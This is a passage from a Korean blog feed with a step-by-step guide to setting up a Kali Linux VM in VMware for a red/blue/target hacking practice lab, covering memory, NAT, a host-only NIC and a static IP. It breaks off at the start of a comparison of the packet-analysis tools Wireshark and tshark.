&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;433&quot; data-origin-height=&quot;437&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bvIlDo/dJMcahkFcYu/iWq0HOqtxJg0QwQEIYuan0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bvIlDo/dJMcahkFcYu/iWq0HOqtxJg0QwQEIYuan0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bvIlDo/dJMcahkFcYu/iWq0HOqtxJg0QwQEIYuan0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbvIlDo%2FdJMcahkFcYu%2FiWq0HOqtxJg0QwQEIYuan0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;433&quot; height=&quot;437&quot; data-origin-width=&quot;433&quot; data-origin-height=&quot;437&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;7. &lt;span style=&quot;color: #0f172a;&quot;&gt;Memory: 8192 MB &amp;rarr; Next&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;430&quot; data-origin-height=&quot;435&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cOAvPE/dJMcacje8c1/ck8MMrF9OBEEvtagzlkNGk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cOAvPE/dJMcacje8c1/ck8MMrF9OBEEvtagzlkNGk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cOAvPE/dJMcacje8c1/ck8MMrF9OBEEvtagzlkNGk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcOAvPE%2FdJMcacje8c1%2Fck8MMrF9OBEEvtagzlkNGk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;430&quot; height=&quot;435&quot; data-origin-width=&quot;430&quot; data-origin-height=&quot;435&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;8. &lt;span style=&quot;color: #0f172a;&quot;&gt;Network: Use network address translation (NAT) &amp;rarr; Next&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;434&quot; data-origin-height=&quot;434&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wp9bz/dJMcabEE6EZ/o17o8y3swuLRVjtOHbzCw1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wp9bz/dJMcabEE6EZ/o17o8y3swuLRVjtOHbzCw1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wp9bz/dJMcabEE6EZ/o17o8y3swuLRVjtOHbzCw1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fwp9bz%2FdJMcabEE6EZ%2Fo17o8y3swuLRVjtOHbzCw1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;434&quot; height=&quot;434&quot; data-origin-width=&quot;434&quot; data-origin-height=&quot;434&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;9. &lt;span style=&quot;color: #0f172a;&quot;&gt;SCSI &amp;rarr; Create a new virtual disk &amp;rarr; 60GB &amp;rarr; Single file &amp;rarr; Next &amp;rarr; Finish&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;433&quot; data-origin-height=&quot;435&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/S6s21/dJMcah51Gnz/1uomuAFfCG13S3cARIJYU0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/S6s21/dJMcah51Gnz/1uomuAFfCG13S3cARIJYU0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/S6s21/dJMcah51Gnz/1uomuAFfCG13S3cARIJYU0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FS6s21%2FdJMcah51Gnz%2F1uomuAFfCG13S3cARIJYU0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;433&quot; height=&quot;435&quot; data-origin-width=&quot;433&quot; data-origin-height=&quot;435&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;431&quot; data-origin-height=&quot;433&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eoeotb/dJMcah51GqJ/g3JxVFmvVHHHE71lZObP60/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eoeotb/dJMcah51GqJ/g3JxVFmvVHHHE71lZObP60/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eoeotb/dJMcah51GqJ/g3JxVFmvVHHHE71lZObP60/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Feoeotb%2FdJMcah51GqJ%2Fg3JxVFmvVHHHE71lZObP60%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;431&quot; height=&quot;433&quot; data-origin-width=&quot;431&quot; data-origin-height=&quot;433&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;429&quot; data-origin-height=&quot;432&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bq1tai/dJMcaashaym/1rNG9Lg0Zfrd3jSaqUE5Wk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bq1tai/dJMcaashaym/1rNG9Lg0Zfrd3jSaqUE5Wk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bq1tai/dJMcaashaym/1rNG9Lg0Zfrd3jSaqUE5Wk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbq1tai%2FdJMcaashaym%2F1rNG9Lg0Zfrd3jSaqUE5Wk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;429&quot; height=&quot;432&quot; data-origin-width=&quot;429&quot; data-origin-height=&quot;432&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;10. &lt;span style=&quot;color: #0f172a;&quot;&gt;[두 번째 NIC 추가] Kali-RedTeam 선택 &amp;rarr; Edit virtual machine settings&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;720&quot; data-origin-height=&quot;484&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/52MdF/dJMcadPYgaq/5uaNNE2TL7xRBdkSQ9ivUk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/52MdF/dJMcadPYgaq/5uaNNE2TL7xRBdkSQ9ivUk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/52MdF/dJMcadPYgaq/5uaNNE2TL7xRBdkSQ9ivUk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F52MdF%2FdJMcadPYgaq%2F5uaNNE2TL7xRBdkSQ9ivUk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;483&quot; height=&quot;325&quot; data-origin-width=&quot;720&quot; data-origin-height=&quot;484&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;11. &lt;span style=&quot;color: #000000;&quot;&gt;Add &amp;rarr; Network Adapter &amp;rarr; Finish &amp;rarr; Custom: VMnet1 선택 &amp;rarr; OK&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;753&quot; data-origin-height=&quot;732&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bsfkXa/dJMb991cVgO/26YKl9qBjsd5y5dKwYtuJ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bsfkXa/dJMb991cVgO/26YKl9qBjsd5y5dKwYtuJ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bsfkXa/dJMb991cVgO/26YKl9qBjsd5y5dKwYtuJ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbsfkXa%2FdJMb991cVgO%2F26YKl9qBjsd5y5dKwYtuJ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;472&quot; height=&quot;459&quot; data-origin-width=&quot;753&quot; data-origin-height=&quot;732&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;12. &lt;span style=&quot;color: #0f172a;&quot;&gt;CD/DVD (SATA) &amp;rarr; Use ISO image file &amp;rarr; Browse &amp;rarr; kali-linux-2024.1-installer-amd64.iso 선택&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1149&quot; data-origin-height=&quot;736&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/myvxH/dJMcadblDcm/kVFeEzKH9ygD7xRNMor2U1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/myvxH/dJMcadblDcm/kVFeEzKH9ygD7xRNMor2U1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/myvxH/dJMcadblDcm/kVFeEzKH9ygD7xRNMor2U1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmyvxH%2FdJMcadblDcm%2FkVFeEzKH9ygD7xRNMor2U1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;598&quot; height=&quot;383&quot; data-origin-width=&quot;1149&quot; data-origin-height=&quot;736&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;13. &lt;span style=&quot;color: #0f172a;&quot;&gt;Connected at power on 체크 확인 &amp;rarr; OK&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;752&quot; data-origin-height=&quot;333&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bmGIPi/dJMcahdRlTY/H4MuWUkKqzMVipGTd6TZJ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bmGIPi/dJMcahdRlTY/H4MuWUkKqzMVipGTd6TZJ1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bmGIPi/dJMcahdRlTY/H4MuWUkKqzMVipGTd6TZJ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbmGIPi%2FdJMcahdRlTY%2FH4MuWUkKqzMVipGTd6TZJ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;589&quot; height=&quot;261&quot; data-origin-width=&quot;752&quot; data-origin-height=&quot;333&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;14. 생성 완료 후 부팅&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;15. 언어/계정/파티션/소프트웨어/CRUB 설정&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;551&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/TtJ8V/dJMcaaFPYyt/ynXgQt3lMoIv7KrwHTAkmK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/TtJ8V/dJMcaaFPYyt/ynXgQt3lMoIv7KrwHTAkmK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/TtJ8V/dJMcaaFPYyt/ynXgQt3lMoIv7KrwHTAkmK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FTtJ8V%2FdJMcaaFPYyt%2FynXgQt3lMoIv7KrwHTAkmK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;624&quot; height=&quot;430&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;551&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;798&quot; data-origin-height=&quot;562&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/boMtK4/dJMb991cVvo/9d3epJoI9gn4mOX3oBjGA0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/boMtK4/dJMb991cVvo/9d3epJoI9gn4mOX3oBjGA0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/boMtK4/dJMb991cVvo/9d3epJoI9gn4mOX3oBjGA0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FboMtK4%2FdJMb991cVvo%2F9d3epJoI9gn4mOX3oBjGA0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;624&quot; height=&quot;439&quot; data-origin-width=&quot;798&quot; data-origin-height=&quot;562&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;16. 명령어를 이용해 NIC 이름 확인 (셋중 하나로 확인)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$ ip addr show&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$ ip addr&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$ ifconfig&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;17. Host-only NIC 고정 IP 설정 방법&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; 17-1. 재부팅 후 nmtui로 설정&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;794&quot; data-origin-height=&quot;549&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zm3Ko/dJMcahx9h5C/hSZViK2aLOk0htHlURdoU1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zm3Ko/dJMcahx9h5C/hSZViK2aLOk0htHlURdoU1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zm3Ko/dJMcahx9h5C/hSZViK2aLOk0htHlURdoU1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fzm3Ko%2FdJMcahx9h5C%2FhSZViK2aLOk0htHlURdoU1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;624&quot; height=&quot;431&quot; data-origin-width=&quot;794&quot; data-origin-height=&quot;549&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;17-2. vi 또는 nano를 이용해 /etc/network/interfaces 파일안에 해당 내용 삽입&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;/etc/network/interfaces &lt;br /&gt;&amp;nbsp; : Debian/Kali리눅스에서 네트워크 설정을 정의하는 기본 설정파일&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;296&quot; data-origin-height=&quot;38&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bqKLKX/dJMcaay2Edt/cK3EBqL7vESnhztuHWkc50/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bqKLKX/dJMcaay2Edt/cK3EBqL7vESnhztuHWkc50/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bqKLKX/dJMcaay2Edt/cK3EBqL7vESnhztuHWkc50/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbqKLKX%2FdJMcaay2Edt%2FcK3EBqL7vESnhztuHWkc50%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;296&quot; height=&quot;38&quot; data-origin-width=&quot;296&quot; data-origin-height=&quot;38&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;674&quot; data-origin-height=&quot;556&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tcCI3/dJMb99UodJv/fyGrQkqW9CLZcGSSjNyuU0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tcCI3/dJMb99UodJv/fyGrQkqW9CLZcGSSjNyuU0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tcCI3/dJMb99UodJv/fyGrQkqW9CLZcGSSjNyuU0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtcCI3%2FdJMb99UodJv%2FfyGrQkqW9CLZcGSSjNyuU0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;549&quot; height=&quot;453&quot; data-origin-width=&quot;674&quot; data-origin-height=&quot;556&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;18. sudo systemctl restart networking.service를 이용해 네트워크 재설정 후 ifconfig를 이용해 NIC 설정 완료 확인&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;677&quot; data-origin-height=&quot;494&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bUGlOA/dJMb99NAhLB/p4W5wzK9JBfOda0yRl9FGK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bUGlOA/dJMb99NAhLB/p4W5wzK9JBfOda0yRl9FGK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bUGlOA/dJMb99NAhLB/p4W5wzK9JBfOda0yRl9FGK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbUGlOA%2FdJMb99NAhLB%2Fp4W5wzK9JBfOda0yRl9FGK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;593&quot; height=&quot;433&quot; data-origin-width=&quot;677&quot; data-origin-height=&quot;494&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>Red, Blue, Target 환경을 통한 해킹 실습</category>
      <author>TungTung0000</author>
      <guid isPermaLink="true">https://yeonni821.tistory.com/39</guid>
      <comments>https://yeonni821.tistory.com/39#entry39comment</comments>
      <pubDate>Thu, 25 Jun 2026 11:33:56 +0900</pubDate>
    </item>
    <item>
      <title>패킷 분석 도구 tcpdump, Wireshark, tshark</title>
      <link>https://yeonni821.tistory.com/31</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #1a202c; text-align: left;&quot;&gt;✔️ 【Wireshark】&lt;/span&gt;&lt;/h4&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;- &lt;/span&gt;&lt;span style=&quot;color: #475569;&quot;&gt;환경: 로컬 PC (GUI 필요)&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;color: #475569;&quot;&gt; - 강점: 최강 분석, Follow Stream, 통계&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;color: #475569;&quot;&gt; - 약점: 무거움, 원격 서버 직접 사용 어려움&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;color: #475569;&quot;&gt; - 최적: 심층 분석, 교육, 포렌식&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #1a202c; text-align: left;&quot;&gt;✔️ 【tshark】&lt;/span&gt;&lt;/h4&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 100px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 100px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 100px;&quot;&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;color: #475569;&quot;&gt;- 환경: CLI (Wireshark 디코딩 엔진)&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;color: #475569;&quot;&gt;- 강점: Wireshark 수준 분석 + CLI + 자동화&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;color: #475569;&quot;&gt;- 약점: 학습 곡선&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;color: #475569;&quot;&gt;- 최적: 대용량 pcap 자동 분석, 스크립팅&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
